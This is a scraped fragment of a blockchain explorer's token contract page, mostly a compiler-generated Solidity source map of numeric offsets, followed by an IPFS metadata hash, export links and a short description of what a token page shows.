8:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;2325:597::-;2437:4;2466:2;2495;2484:9;2477:21;2527:6;2521:13;2570:6;2565:2;2554:9;2550:18;2543:34;2595:1;2605:140;2619:6;2616:1;2613:13;2605:140;;;2714:14;;;2710:23;;2704:30;2680:17;;;2699:2;2676:26;2669:66;2634:10;;2605:140;;;2763:6;2760:1;2757:13;2754:91;;;2833:1;2828:2;2819:6;2808:9;2804:22;2800:31;2793:42;2754:91;-1:-1:-1;2906:2:1;2885:15;-1:-1:-1;;2881:29:1;2866:45;;;;2913:2;2862:54;;2325:597;-1:-1:-1;;;2325:597:1:o;3443:980::-;3705:4;3753:3;3742:9;3738:19;3784:6;3773:9;3766:25;3810:2;3848:6;3843:2;3832:9;3828:18;3821:34;3891:3;3886:2;3875:9;3871:18;3864:31;3915:6;3950;3944:13;3981:6;3973;3966:22;4019:3;4008:9;4004:19;3997:26;;4058:2;4050:6;4046:15;4032:29;;4079:1;4089:195;4103:6;4100:1;4097:13;4089:195;;;4168:13;;-1:-1:-1;;;;;4164:39:1;4152:52;;4259:15;;;;4224:12;;;;4200:1;4118:9;4089:195;;;-1:-1:-1;;;;;;;4340:32:1;;;;4335:2;4320:18;;4313:60;-1:-1:-1;;;4404:3:1;4389:19;4382:35;4301:3;3443:980;-1:-1:-1;;;3443:980:1:o;4617:128::-;4657:3;4688:1;4684:6;4681:1;4678:13;4675:39;;;4694:18;;:::i;:::-;-1:-1:-1;4730:9:1;;4617:128::o;4750:217::-;4790:1;4816;4806:132;;4860:10;4855:3;4851:20;4848:1;4841:31;4895:4;4892:1;4885:15;4923:4;4920:1;4913:15;4806:132;-1:-1:-1;4952:9:1;;4750:217::o;4972:168::-;5012:7;5078:1;5074;5070:6;5066:14;5063:1;5060:21;5055:1;5048:9;5041:17;5037:45;5034:71;;;5085:18;;:::i;:::-;-1:-1:-1;5125:9:1;;4972:168::o;5145:125::-;5185:4;5213:1;5210;5207:8;5204:34;;;5218:18;;:::i;:::-;-1:-1:-1;5255:9:1;;5145:125::o;5275:380::-;5354:1;5350:12;;;;5397;;;5418:61;;5472:4;5464:6;5460:17;5450:27;;5418:61;5525:2;5517:6;5514:14;5494:18;5491:38;5488:161;;;5571:10;5566:3;5562:20;5559:1;5552:31;5606:4;5603:1;5596:15;5634:4;5631:1;5624:15;5488:161;;5275:380;;;:::o;5660:127::-;5721:10;5716:3;5712:20;5709:1;5702:31;5752:4;5749:1;5742:15;5776:4;5773:1;5766:15;5792:127;5853:10;5848:3;5844:20;5841:1;5834:31;5884:4;5881:1;5874:15;5908:4;5905:1;5898:15;6056:131;-1:-1:-1;;;;;6131:31:1;;6121:42;;6111:70;;6177:1;6174;6167:12;6111:70;6056:131;:::o

Swarm Source

ipfs://e8f49415b5eb6f1a75b7e3f9da976ef0a2f81a0ad4b46162893936c4cd6d7513
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.